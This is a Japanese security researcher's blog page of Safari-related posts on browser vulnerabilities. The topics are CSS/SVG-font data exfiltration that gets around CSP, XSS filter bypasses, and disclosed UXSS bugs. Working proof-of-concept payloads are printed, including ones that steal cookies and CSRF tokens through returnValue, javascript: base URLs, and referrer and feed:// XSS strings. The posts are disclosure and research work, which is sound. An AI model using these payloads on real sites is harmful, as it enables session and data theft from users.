ラベル Safari の投稿を表示しています。 すべての投稿を表示
ラベル Safari の投稿を表示しています。 すべての投稿を表示

2021/11/28

SVGフォントとCSSを使ってページ内のテキストを読み取る

English version is here: https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html

この記事では、SVGフォントとCSSを使って、ページ内のテキストを読み取る方法を紹介します。

CSSを使ってデータを読み取る方法はいくつか知られており、既知の手法が以下のサイトでよくまとめられています。

CSS Injection Primitives :: DoomsDay Vault

https://x-c3ll.github.io/posts/CSS-Injection-Primitives/

これらのテクニックは、入力がサニタイズされていて使えるHTMLタグが限られているケースや、Content Security Policy(CSP)の制限によってJavaScriptが使えない状況などでも、スタイルの記述ができることなど一部の条件さえ満たしていれば使えるため、攻撃者にとって有用な場合があります。

今日紹介するテクニックもそのようなテクニックの1つです。ただ、完全に新しいものではなく、以下のMichał Bentkowskiさんによる合字を使ったテクニックを少し置き換えただけのものです。

Stealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com

https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/

ほぼ同じ手法ではあるものの、他で言及されているのを見たことがなかったことと、MichałさんのテクニックがCSPなどの制約により使用できない状況でも、こちらは使用できる場合があり、言及する価値があると思ったため、この記事を書くことにしました。

まず、Michałさんのテクニックがどのようなものか簡単に説明します。

フォントには、合字(ligature)を設定する仕組みがあります。合字とは、複数の文字を合成して一文字にしたものです。合字をフォント側で設定すると、例えば、「a」と「b」が隣り合わせに並んでいるとき、「ab」を1つの文字とみなして字体を適用することが可能です。この仕組みが、ページ内のテキストデータの読み取り攻撃を可能にします。具体的にどのように攻撃が可能か紹介していきます。

例として、ページ内に「"secret"」という文字列があり、攻撃者はこれを読み取りたいとしましょう。このとき、このテキストが含まれる箇所をCSSセレクタで指定し、攻撃者が作成した合字を持つフォントを適用します。攻撃者はまず、「"a」が合字になっているフォントを適用します。このとき、合字の文字幅を他の文字より大きく設定しておきます。「"a」は読み取りたい部分には存在しないので、大きな文字幅のフォントはページ上には表示されないことになります。さらに、「"b」「"c」「"d」...と、別のアルファベットが合字になったフォントをそれぞれ適用していきます。そうしていくと、「"s」が合字になったフォントを適用したときに、実際に大きな文字幅の字体がページ上に表示されることになります。これが適用されたことをある方法で検出することにより、「"s」がそこにあることをリークします。どのように検出するかというと、ChromeやSafariがサポートしている「-webkit-scrollbar」というスクロールバーのスタイルを指定できるCSS疑似要素を使います。このCSS疑似要素で、合字が適用される部分に、背景画像をロードするスタイルを設定しておくのです。この背景画像は、リクエスト量を抑えるブラウザ側の配慮のため、スタイルを設定するだけではロードされず、スクロールバーが実際に表示されたときにはじめてロードされるようになっています。この仕様のおかげで、文字幅が大きいフォントが出現したときだけ、スクロールバーが現れるように対象の要素のCSSを調整しておくことで、画像のロードの有無から、「"s」がそこにあるかどうかを検出できてしまいます。「"s」がわかったら、次は、「"sa」「"sb」「"sc」...と、3文字の文字幅が大きい合字を作成して、同様の試行を繰り返し、さらに、4文字の合字、5文字の合字と、合字の文字数を増やしていくことで、最終的に対象のすべての文字を読み取ることができてしまいます。

以上がMichałさんの発明したテクニックです。Michałさんは、SVG形式のフォントをWOFF形式のフォントに変換することでこれを行いましたが、この記事で紹介する方法では、SVG形式のフォントをあえてそのまま使います。Michałさんは、ブラウザがSVGフォントのサポートを辞めたためWOFFを使用したと書いていますが、実はSafariはSVGフォントをサポートしており、現在も使えます。今から紹介する方法は、SVGフォントを使う以外はMichałさんの手法とほぼ同じです。それでもあえて紹介したいのは、SVGフォントを使わないと攻撃できない状況がありうるからです。というのも、SVGフォントは、WOFF形式のフォントなどと同じように、URLからロードすることもできるのですが、URLからロードすること無しに、フォント全てをインラインで記述して設定することもできます。こうすると、CSPがフォントリソースのロードをブロックするような状況でもフォントを定義してフォントを適用することができます。

具体的にMichałさんの手法がどのように置き換えられるかみていきます。

Michałさんの手法では、<style>タグの@font-faceからWOFFフォントをロードしていました。

<style>
@font-face {
    font-family: "hack";
    src: url(http://192.168.13.37:3001/font/%22/0)
}
[...]
</style>

このスタイルは、インラインのSVGフォントで次のように置き換えられます。以下は「"0」の合字だけ文字幅を大きくして、その他の文字の文字幅を小さく設定するようなフォントの定義です。

<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000"></font-face>
<glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
[...]
</font>
</defs>
</svg>

これで、CSSからfont-familyをhackに指定すると、SVG外であろうと、このSVGフォントをフォントとして使用できます。このとき、CSPでfont-src 'none' が指定されていようともブロックされることはありません。(ただし、最終的にデータの読み出しに使用するのはスクロールバーの背景画像を使った画像リクエストであることは同じなので、最低限img-srcディレクティブでリクエストを観測可能なホストが許可されている必要があります。)

実際のPoCをみていきましょう。

次のようなターゲットのページがあるとします。

https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
<script id="leakme" nonce="random">
const secret = "573ba8e9bfd0abd3d69d8395db582a9e";
</script>

<script nonce="random">
const params = (new URL(document.location)).searchParams;
const xss = params.get('xss');
if(xss){
    document.write(xss);
}
</script>
</body>
</html>

xssパラメータにインジェクションがあり、CSPのせいでスクリプトの実行やフォントのロードはできず、scriptブロック内のsecret変数に秘密情報がある、といったページです。この状況で、SVGフォントを利用して、secretを読み出すことができることを示します。

以下のURLに"Safariで"アクセスして、「Go」ボタンをクリックすることで再現できます。

PoC: https://l0.cm/svg_font/poc.php

攻撃に利用した全てのコードはここにあります: https://github.com/masatokinugawa/css-exfiltration-svg-font

うまく動けば、以下の動画のように、複数のウインドウが開き、しばらく待っていると、「Go」ボタンがあるページ上に「573b...」と少しずつsecretが表示されていくはずです。

SVGフォントを使用した以外は、MichałさんのPoCとほぼ同じなのですが、少しだけ変更した点があります。MichałさんのPoCではiframeでターゲットのページをロードしていましたが、これをwindow.open()で開くようにしました。これは、Safariは現在デフォルトで全てのサードパーティCookieをブロックするため、iframeを使った攻撃はログイン済みのユーザーのデータを読み取る攻撃の例として現実的でないと考えたからです。また、データの受け渡し方法も変更しています。MichałさんのPoCでは、Cookieを経由して値を渡していますが、ここでも、サードパーティCookieのブロックのために背景画像のロード時にCookieをセットできないため、セッションIDをURLに付けることで代用しています。

ちなみに、一度に複数のウィンドウを開けているのは、Safariのポップアップブロッカーは1回のクリックで開けるウィンドウ数に制限がないためです。このおかげで、Safariでは、1回のクリックさえあれば、複数のウィンドウを使ってデータの読み出し試行が可能です。


以上、SVGフォントとCSSを使ってページ内のテキストを読み取る手法について紹介しました。

CSPでスクリプトの実行をブロックされることが増えてきた昨今、スクリプトを使わない攻撃はまだ何かないかといつも考えています。また何か面白いことに気付いたら紹介したいと思います。

2017/05/07

Browser's XSS Filter Bypass Cheat Sheet

ブラウザのXSSフィルターのバイパスをまとめたページを作りました。

こちらです:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet

現在のところ、Chrome/Safariのバイパスのみ掲載しています。そのうち、IE/Edgeも掲載するつもりです。

このページを作った理由は、Shibuya.XSS techtalk #9 というセキュリティの勉強会の時に、Firefoxのバグを発見しまくっていることで有名な西村さんが、「XSSフィルター、バイパスが発見されても、気付いたらいつの間にか使えなくなっていたりする。使えるものをまとめたXSSフィルターのバイパスのチートシートみたいなのがあったら便利」というようなことを言っていて、じゃあ僕が4月中に作りますと宣言してしまったからです。今は5月ということは置いておいて、とにかく作りました。

脆弱性検査にあたる人などは、XSSをみつけても、お客さんに「XSSフィルターが止めているから大丈夫じゃないか」などと主張されることがあるかもしれません。また、バイパスできるかどうかがわからないと、実際にどこまで悪用できるかの評価ができない場合もあるかと思います。バイパスまでできているPoCを示せば、説得力を持って攻撃可能なことを証明することができるでしょう。また、ブラウザのバグを発見したいというタイプの人は、これらを参考にしながら、新たなバイパスの発見に挑戦してもよいでしょう。バイパスを発見する目的以外でも、なぜバイパスが起きたかという部分には、その他の場面での攻撃の発想を養ううえでもよい資料となるのではないかと思います。

もともと自分用のバイパスのメモがあったので、これらをまとめるのは、そんなに難しいことではありませんでした。しかしながら、まとめる過程で、新たな可能性に気付いたりして、その検証に少し時間がかかってしまいました。

中でも同一ドメインのリソースを使ってバイパスする手法は、おそらくパブリックでこの攻撃の可能性についてほとんど考察されたことがない、目新しいものではないかと思います。僕も今回改めて考えてみて、いろいろなフレームワーク・ライブラリで攻撃が可能になるかもしれないということに気付きました。

簡単に手法を説明すると、Chromeは、クエリ文字列を持たない同一ドメインのリソースのロードをブロックしません。これは誤検知とのバランスを考えて作られた仕様だと思います。この動作を利用して、同一ドメインのリソースを攻撃用のガジェットとして利用することで、フィルターをバイパスして、任意のスクリプトを実行できてしまうというものです。詳しくはそれぞれの手法をみてみてください。

それでは、どうぞご利用ください。

2016/09/25

CVE-2016-4758: SafariのshowModalDialogに存在したUXSS

English version is here: http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html


Safari 10で修正された、showModalDialog() に存在したUXSSバグについて書きます。

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
UXSS(Universal XSS)は、ブラウザやプラグインなどのバグによって、Same Origin Policyの制限を超えてXSSできるようなバグのことを言います。はっきりした定義はないと思いますが、一言で普通のXSSと区別するのに便利なので、Webセキュリティ関係の人の間でそこそこ使われている言葉です。

このバグは2015年6月頃に発見しました。ちょうど、IEのshowModalDialogを使ったXSSフィルターのバイパスの可能性に気付き、記事にしていた頃です。その記事の中で、最後に以下のように書いていたことを覚えている方もいるかもしれません。

http://masatokinugawa.l0.cm/2015/06/xss6.html
余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。
今から書くことがこの「重大な問題」です。

なお、iOS版のSafariはshowModalDialog関数が存在しないため影響を受けません。

前提条件


ターゲットのページに次のような条件が整うと、そのオリジンでXSSを実行できます。
  1. JavaScriptによるページ遷移を相対URLで行っている。
  2. その遷移操作がページの完全なロード後に行われている。

「JavaScriptによるページ遷移を相対URLで行」うとは、location="/"とか、window.open("/","_blank")などの操作のことです。

この条件を満たすページを以下に用意しました。

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>
「Top Page」ボタンをクリックしたときに、https://vulnerabledoma.in/index.html へ移動するだけのページです。
どこにでもありそうな条件ですが、これだけでXSSを実行できます。

showModalDialogの利用


ここで、古き良きshowModalDialog関数を使います。
先ほどのページをshowModalDialogのダイアログ中に開く、以下のような別オリジンのページを用意します。

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
このページから開いたshowModalDialog内の「Top Page」ボタンをクリックするとどうなるでしょうか?
普通ならそんなことは聞くまでもなく、showModalDialogを経由せずに閲覧した時と同じように、 https://vulnerabledoma.in/index.html へ移動するはずです。

しかし、Safariではそうはなりませんでした。http://l0.cm/index.html へ遷移したのです。 https://l0.cm/はshowModalDialog()を実行したオリジンであり、明らかに相対URLの基準になるURLをshowModalDialog()を実行したページと取り違えています。

この時点で、遷移する相対URLに秘密情報が含まれている場合に、無関係のページから取得できることになります。
<script>
function navigation(){
location="/test?token=abb29ad9adda09";//取得できてしまう
}
</script>
<button onclick=navigation()>Click</button>
これだけでも十分脆弱性と言えるまずい動作ですが、さらにXSSへ発展させることはできないか考えてみました。

(なお、基準のURLを間違うのはJavaScriptによる遷移操作のみで、<a>タグによるリンクや、XMLHttpRequestに使うURLなどの遷移操作以外のAPIでは、正しい基準のURLが使われていました。)

XSSへの発展


もし、showModalDialogを実行するページの基準のURLをjavascript:のURLに変更できるなら、XSSが可能かもしれないと思いました。
html5sec.org によると、Safariは<base>タグにjavascript:のURLを指定できるようです。
このトリックを使って、showModalDialogを実行するページで、次のように、<base>タグを細工してダイアログを開いてみました。

https://l0.cm/safari_uxss_showModalDialog/
<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
モーダルダイアログ内の「Top Page」ボタンをクリックすると…目論見通り、alert(document.domain)が実行されました!うまくいけば、次の画像のようになります。



このようにして、基準となるURLを取り違えるバグを使って、ターゲットのページに相対URLへの遷移が記述された部分があるだけで、XSSを実行できていました。

さいごに

報告したのが2015年6月なので、修正までに1年以上かかったことになります。結構致命的な問題だと思うので、もうちょっと早く直してほしいところです。
showModalDialogは、その他のブラウザでは廃止されてきており、これを機にサポートをやめると予想していたんですが、Safari 10でもまだ使えるようですね。いつまでサポートするんでしょうか?

ともかく、まだアップデートしていない方はしましょう!

2015/06/16

ブラウザのXSS保護機能をバイパスする(6)

Hi! Are you English-speaker? Good news! Finally, I started my blog in English:

Bypassing IE's XSS Filter with showModalDialog
http://mksben.l0.cm/2015/06/bypassing-xss-filter-showmodaldialog.html

I'm not good at English, but I think it is easier to read than Google translate. Maybe.
Enjoy!
-----------------------------------------------------------------------------

先日、古くからあるJavaScriptの関数の1つの、showModalDialogの挙動について詳しくみていました。showModalDialogは、Chromeでは既に動かないし、次期Windowsに搭載されるMicrosoftの新ブラウザ「Edge」でも廃止、Firefoxでも間もなく廃止予定という、着々と消されつつある機能です。なぜこんな死にかけを見ようと思ったかというと、この関数は、ただ新しいウインドウを開くだけではない、個性的な機能を持っており、ちゃんと見てみれば今でも何か面白いことがみつかるかもしれないと思ったからです。その結果、IEのXSSフィルターをバイパスできることに気付いたので今日はそれを紹介します。

まずはshowModalDialogの機能をおさらいしましょう。




showModalDialogの第1引数はモーダルなウインドウ(閉じるまで他のウインドウの操作ができない)にロードするURL、第2引数はモーダルなウインドウに渡せる特別な引数です。第2引数にいれた値は、モーダルなウインドウのwindow.dialogArgumentsプロパティを通じてアクセスできます。さらに、モーダルなウインドウ中で、window.returnValueプロパティに何かを代入すると、モーダルなウインドウを閉じた時に、showModalDialogを実行した側の戻り値に使われます。

うわあ。この、古い機能のダサすぎるかんじ、いいですね…(*´_`*)

要は、dialogArgumentsreturnValueは、ウインドウ間の情報の引き渡しに使われているということです。ここで、dialogArgumentsreturnValueは2つのウインドウのオリジンが異なっていても渡せるのか、ということが気になりました。それぞれ、渡せるとすれば、渡せないことを前提にdialogArguments/returnValueを書き出すようなことをしていればXSSが起きるかもしれないし、returnValueに機密情報を入れている場合は、無関係なところに情報が渡るかもしれないことになります。ということで、簡単にテストしてみました。

まず、dialogArgumentsは、現在showModalDialogをサポートしているFirefox、IE、Safari(OS X)のすべてで別オリジンに引き渡すことはできませんでした。

Firefoxは過去に値を設定できていたようですが、脆弱性として修正されたようです。

MFSA 2010-04: window.dialogArguments がクロスドメインで読み取り可能なことによる XSS
http://www.mozilla-japan.org/security/announce/2010/mfsa2010-04.html

一方、returnValueは違いました。Firefoxでは制限されていましたが、SafariとIEではオリジンを超えて引き渡すことができました。

以下でテストできます。

http://vulnerabledoma.in/showModalDialog/opener.html

Safariは素直に引き渡せます。x-originのボタンを押しダイアログを開いて、「Set returnValue and close this dialog」を押し、異なるオリジン( www.vulnerabledoma.in → vulnerabledoma.in ) へ 値が渡ることを確認してみてください。
IEは間にリダイレクトを挟むと渡せます。x-originのボタンからは動かないですが、x-origin(redirect) のボタンからは動きます。

この挙動によって、次の2つの問題が考えられます。

1. showModalDialogを実行した場所が同じオリジンかどうか確認せずにreturnValueに機密情報を渡している場合に、無関係のサイトに情報を奪取される可能性がある。
2. showModalDialogで開いたダイアログ内で攻撃者のページまでページ遷移を発生させることができた場合、別ページで攻撃者の設定したreturnValueが元ページの戻り値に渡り、XSSなどが発生する可能性がある。(ただしこれはSafariのみ。IEはshowModalDialogのウインドウでのページ遷移が制限されている模様。)

どちらもターゲットのサイトでshowModalDialogがたまたまこの条件で使われていなければ問題にならないので、あまり大きな問題ではないと思います。
今回は、showModalDialogの安全な使い方を論じるつもりでこの話をしたわけではありません。
ここからが本題です。この挙動を使ってIEのXSSフィルターをバイパスします。

悪用が可能になるには次の2つの条件が必要です。

1. JavaScriptの文字列リテラルにXSSがある。
2. JavaScriptのプロパティのどれかに機密情報が含まれている。


以下はこの条件を持ったテストページです。

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

ページ内にCSRFトークンが含まれており(条件2)、XSS_HERE が入っている文字列リテラルの部分にXSSがある(条件1) といったかんじです。
今回はこのページからトークンを奪います。早速ですが、以下にバイパスのデモページを用意したので、アクセスして、"go"をクリックしてみてください。

http://l0.cm/xssfilter_bypass/showModalDialog.html

うまくいけば、モーダルダイアログを閉じた時にトークンがアラートされるはずです。

原理はまず、XSSに脆弱なページに3xx台のリダイレクトをかますことで、前述のIEの挙動を利用してreturnValueが別オリジンにも渡るようにします。
リダイレクト後の脆弱なページには次のような文字列を挿入します。

http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="";returnValue=form.token.value//"</script>
reurnValueにtokenを引き渡しています。これでウインドウを閉じた時に、別オリジンに情報がパスされるという訳です。

また、次のような文字列も攻撃に使える場合があるでしょう。

";returnValue=document.cookie//
";returnValue=localStorage.key//

同一オリジンの別のwindowオブジェクトにwindow.openerを経由してアクセスできたらもっと面白いと思ったのですが、openerを参照できず、失敗に終わりました。誰かこの手の方法、思いつきますかね?

このバイパスはXSSフィルター側で容易に対策できると思います。具体的には、文字列リテラル部分の遮断ルールのブラックリストにreturnValueを追加するだけです。"returnValue"という文字列は長いので、副作用もなく簡単に追加できると思います。まぁ、リダイレクトを通さないと値が渡らないことから、別オリジンのreturnValueから値が渡ることはMicrosoftの認識からすればバグだと思うので根本的に直すならそっちを直すべきだと思いますが。


以上です。古い機能の有効活用みたいなかんじですね!

余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。それじゃまた!


追記(2015/6/17)

同一オリジンの別ページの情報を取得する方法を思いつきました。とりあえず以下のページで"go"を押して何が起こるか見てみてください。

http://l0.cm/xssfilter_bypass/showModalDialog2.html

別ページにある「<h1>This is secret Text!</h1>」がアラートされれば成功です。XSSに脆弱なフレームから欲しい情報があるフレームにtop.targetFrame.document.body.innerHTMLを経由してアクセスしてます。気付いたかもしれませんが、今回はリダイレクトを使っていません。どうも、リダイレクトを使った場合だけでなく、showModalDialogを実行したページとダイアログに開いたページが同一オリジンの場合、ダイアログに含まれるインラインフレームの別オリジンのページもreturnValueを渡せる力があるみたいです。

これ以上触ると蛇が出そうな気しかしません!

追記(2016/2/9)

XSSフィルターバイパスの問題は、2015年12月の月例アップデートで修正されたようです。"returnValue"という文字列が文字列リテラルでのXSSの遮断でブラックリストに追加されているのを確認しました。CVE-2015-6164が恐らくこれです。
https://technet.microsoft.com/ja-jp/library/security/ms15-124.aspx#ID0EX1BG

showModalDialog自体の動作(クロスオリジンで値が渡る動作)は特に変更されていないようです。

2014/06/30

Referrer文字列によるXSS part2

以前、Referrer文字列を使ったXSSはIEだけでなくChromeやSafariでもできるということを以下の記事で紹介しました。

 http://masatokinugawa.l0.cm/2013/10/referrer-xss.html

が、その後のブラウザのアップデートで、紹介したdata: URLからReferrerをつける手法は使えなくなってしまいました。現在は、data: URLに<meta name="referrer" content="always">指定があっても、Referrerを送信しないように変わったようです。

ということで今回は、今も使える別のReferrerによるXSS手法を紹介したいと思います。
Safari( 最新の7.0.4で確認 )のみ動作します。以前はChromeでも動いていたのですが、33あたりから使えなくなりました。

以下からSafariでどうぞ:
http://l0.cm/xss_blob_and_referrer/

以下のようなコードで実現しています。
<meta name="referrer" content="always">
<script>
history.replaceState('','','blob:http://l0.cm/<script>alert(1)<\/script>');
location.href="http://vulnerabledoma.in/location/"
</script>
Safariでは、<meta name="referrer" content="always">が書かれたページで、history.replaceState() を使ってblob: を先頭につけたURLへ自身のURLを変更したあとにリダイレクトすると、blob: URLをReferrerに含めることができるようです。blob: URLでは、パス以降にエンコードせずに <> などの文字列を保持できるようなので、history.replaceState()する際にパス部分などにスクリプトを書いたものを含めておけば、Referrerを経由したXSSが可能です。

http:// から blob:http://[同一ドメイン]/ なURLにhistory.replaceState()できるのがちょっと驚きですよね。Chrome/Safariはできるみたいです。また、Chromeは filesystem:http://[同一ドメイン]/path みたいなURLにもhistory.replaceState() できるようです→ TEST

URLを変更できるのは同一ドメインから生成されたように見えるblob:やfilesystem:のみなので、今すぐ危険なかんじはしませんが、想定した動作なんですかね。

以上、XSS小ネタでした。

追記
Safari(7.0.4)でdata: URLからReferrer使ったXSSがまだ動作するというご報告を受け、確認したところまだ動作しますね。勘違いしていました。
まあ、blob: でもできるよということで。

2014/9/22 追記
Safari(7.1)で確認したところ、動かなくなりました。

2013/10/29

Referrer文字列によるXSS

リファラを使ったXSSの小ネタです。

今回取り上げるのは、ターゲット自身が、細工したページを経由することでつけられたリファラによって攻撃を受けるケースです。このような攻撃の場合は、現実に経由可能なページからでしか攻撃文字列を送りこむことができません。

例えば、以下のように、document.referrerをそのままdocument.write()しているページがあるとします。

http://vulnerabledoma.in/location/


リファラを書き出している部分でXSSできるでしょうか。

IEでは単純です。
IEはURLのクエリに、エンコードせずに「"<>」などを含めることができるので、これらを含むURLから、リファラを書き出しているページへ遷移させれば、XSSが起きます。

http://l0.cm/xss_referrer.html?<script>alert(1)</script>


Firefox・Chrome・Safariなどのブラウザの場合は、「"<>」はクエリ中でエンコードされるのでこのPoCではスクリプトは実行されません。

IE×リファラ でXSSが可能なことは、知ってる人は知っているのではないかと思いますが、 今回は、ChromeやSafari(6.1で確認)でも攻撃が可能だということを紹介します。今日言いたいのはここです。たぶん、まだ誰も公開していない手法だと思います。

はい:

data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://vulnerabledoma.in/location/"}</script>


「<meta name="referrer" content="always">」という、リファラ送信を制御するタグ( http://wiki.whatwg.org/wiki/Meta_referrer )をつけると、通常はリファラを送信しないdata: URLからでもリファラを送信してくれるようです。こうすると、ChromeやSafariで「"<>」をリファラに含められます。
Firefoxでも今後、 <meta name="referrer">をサポートしたら攻撃が可能になるかもしれません。

以上、XSS小ネタでした。

2014/6/30 追記
この手法は2014/6/30時点で最新のChrome(35.0.1916.153)/Safari(7.0.4)で動かなくなっています。
Safariで動作する別の手法について新しい記事を書きました。(基本的にはdata: からblob: にしただけ)

Referrer文字列によるXSS part2
http://masatokinugawa.l0.cm/2014/06/referrer-xss-part2.html

2014/9/22 追記
Safari(7.1)で確認したところ、動かなくなりました。

2012/11/27

CVE-2012-0678: Safariのfeed:// URLのUXSS

Safari 5.1.7で発見し、Safari 6で修正された、feed:// URLのUXSSについて書きます。

http://support.apple.com/kb/HT5400
Safari
Available for: OS X Lion v10.7.4, OS X Lion Server v10.7.4
Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack
Description: A cross-site scripting issue existed in the handling of feed:// URLs. This update removes handling of feed:// URLs.
CVE-ID
CVE-2012-0678 : Masato Kinugawa

発見の経緯

以前ブログに書いたように、Safariには、URLのホストの前の認証情報文字列をlocation.hrefで取得するとき、中身がパーセントデコードされて取得されるという問題がありました。
僕は、この挙動はブラウザの問題だと思ったのですが、Appleは(最終的には修正したものの一度は)「修正する予定はない」という返事をしてきました。じゃあ、実際にこの挙動で問題が起きる部分をみつけて、ブラウザ側の修正の必要性を示してやろうということで、いろいろなページを@付きURLでアクセスしてまわりました。そのときに発見したのがこの問題です。

どんな問題か

Safariでは、フィードのURLにアクセスすると、

http://masatokinugawa.l0.cm/feeds/posts/default

から、

feed://masatokinugawa.l0.cm/feeds/posts/default

のような、先頭をhttp://からfeed://に変えたURLにリダイレクトし、Safariが独自に生成したフィード用のページを表示します。ちなみにこのURLは僕のブログのフィードのURLです。
このfeed:// URLを、@付きURLにして、少し細工してアクセスしてみると、奇妙なことがおきます。

feed://www.apple.com%2Fpr%2Ffeeds%2Fpr.rss%3F@masatokinugawa.l0.cm/feeds/posts/default






masatokinugawa.l0.cmなのに、@の前に書かれたURLの、Appleのフィードが表示されています。試しにここで、アドレスバーで「javascript:alert(document.domain)」とすると、「masatokinugawa.l0.cm」と表示され、masatokinugawa.l0.cm上でwww.apple.comのフィードが展開されていることがはっきりと確認できます。
通信を監視してみると、以下のリソースをとってきています。

http://www.apple.com/pr/feeds/[email protected]/feeds/posts/default


どうも、feed:// URLでは、@以前の文字列をデコードしたURLを、そのページのフィードとして読み込んでしまうみたいです。

これはつまり、ターゲットのサイトに読み込ませる外部のフィードにスクリプトを書くことができれば、XSSが可能ということになります。

Safariではフィード用ページでのJavaScriptの実行を、スクリプトが実行可能な文字列を除去する形で制限しています。しかし、一部適切に制限できていない文字列がありました。
以下のような文字列を外部のフィードに設定するとjavascript: スキームのリンクをfeed:// URL上に設定できてしまいます。

http://l0.cm/safari_uxss.rss
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink"
xlink:href="javascript:alert(document.domain)">
<rect width="1000" height="1000" />
</a>
</svg>
 さあ、これを含んだフィードをさっきのURLに流し込んでみましょう。

 feed://l0.cm%2Fsafari_uxss.rss%[email protected]/feeds/posts/default



オーマイゴッド、ですね!

Safariでホストの前に@が付いたURLにアクセスする時は、デフォルトの設定でフィッシング警告が出ていましたが、不幸なことに、feed:// URLに直接アクセスする場合は@付きURLでも警告が出ません。
ちなみに、ターゲットのページがフィードのURLでなくても、feed:// URLで表示させることができます。つまり以下のように、どんなサイトでもXSSのターゲットにできるということです。

feed://l0.cm%2Fsafari_uxss.rss%[email protected]

feed://l0.cm%2Fsafari_uxss.rss%[email protected]

feed://l0.cm%2Fsafari_uxss.rss%[email protected]


MacでSafariのアップデートをしていない方は、早急に最新版にアップデートしましょう。
Windows版ではこのブログ投稿現在、アップデートが提供されていません。
Appleから正式な開発終了の告知は出ていませんが、Mac版のSafari 6の公開から4ヵ月が経とうとしているのに、何の動きもないので、もはやこれ以上開発を継続する気はないと思われます。

Safari 5.1.7にはこれ以外にも複数の脆弱性の存在が確認されており、JVNもWindowsユーザーはSafariの使用をやめるよう勧告しています。
WindowsのSafariユーザーは、使用をやめるよう、僕からもお勧めしたいと思います。

2012/10/16

ホストの前に文字が置けることを忘れるな

今日は、 そもそもホストの前に任意の文字列を置けるということを忘れていると、うっかりそこにJavaScriptで触ってしまった時に問題が起こる場合があるよね、という話をします。
以前紹介したlocation.hrefの問題に似ていますが、今回取り上げているのは文字列がデコードされることにより起きうる問題ではなく、文字列が取得されることで起きうる問題についてです。
 
まずは、様々な形でJavaScriptでURLを確認できるスーパーウェブサイトを用意致しましたので、ホストの前に文字列を含むURLが、どの値で取得されているかを実際に見てみてください。

http://user:[email protected]/location/

(※このページはURLをそのまま書きだしているため、当然DOM based XSSがありますが 、その挙動も含めて確認できるようにする目的があるので、あえてそうしています。良い子はこのようなコードを書くべきではありません。)


いろいろなブラウザでアクセスすると、様々な違いがあることがわかると思います。

まず、アクセスするところから違いがあります。
Chrome/Operaは何事もなくアクセスします。Firefoxは認証情報をもってアクセスする旨のプロンプトが出ます。Safariはデフォルトの設定でフィッシング警告が出ます。IEはそもそもアクセスできません(ので、今回は、珍しくIEの出番が早くもここで終了です!!!!!)。

取得された@の前の値を見ていきます。
Firefoxはlocation.*以外のURL全体を取得するような値で、user:passが取得できています。
Chromeは、全てのURL全体を取得するような値で、@の前の文字列を全て取得できています。
SafariもChromeと同様、全てのURL全体を取得するような値で@の前の文字列を取得していますが、値によってパスワード部分を含んだり、含まなかったりしています。
Operaはdocument.URLのみ@の前の文字列を含んでいますが、パスワードの部分はマスクされて取得されています。

見事にバラバラですね。他の値についても結構バラバラで、注意すべき点があるので、今回はその点には触れませんが、興味がある人は見てみてください。

さて、いろいろ見てきましたが、いちいちこのブラウザのこの値では@の前の文字列がデコード/エンコードされてこの部分が取得されて~~って覚えましょうと提案している訳ではありません。
今回覚えておいてほしいのは、ホストの前に文字を置くことができ、それはJavaScriptで取得されるということです。特に、使用頻度が高い「location.href」で、Chrome/Safariにおいて、@の前の文字列が取得される点は注意が必要だと思います。忘れるとこういうことになるかもしれません:




ここでアラートを出しているのは、Googleが404ページにどうぞと提供しているJavaScriptに存在していたXSSによるものです。このJavaScriptファイルを読み込んでいただけで、設置サイトのドメイン上で動作するXSSの穴をあけてしまっていました。どこに問題があったかは、この画像のフレームが挿入されている部分と、このjsを設置した以下のサイトを見比べればわかると思います。

 http://vulnerabledoma.in/wm404.html

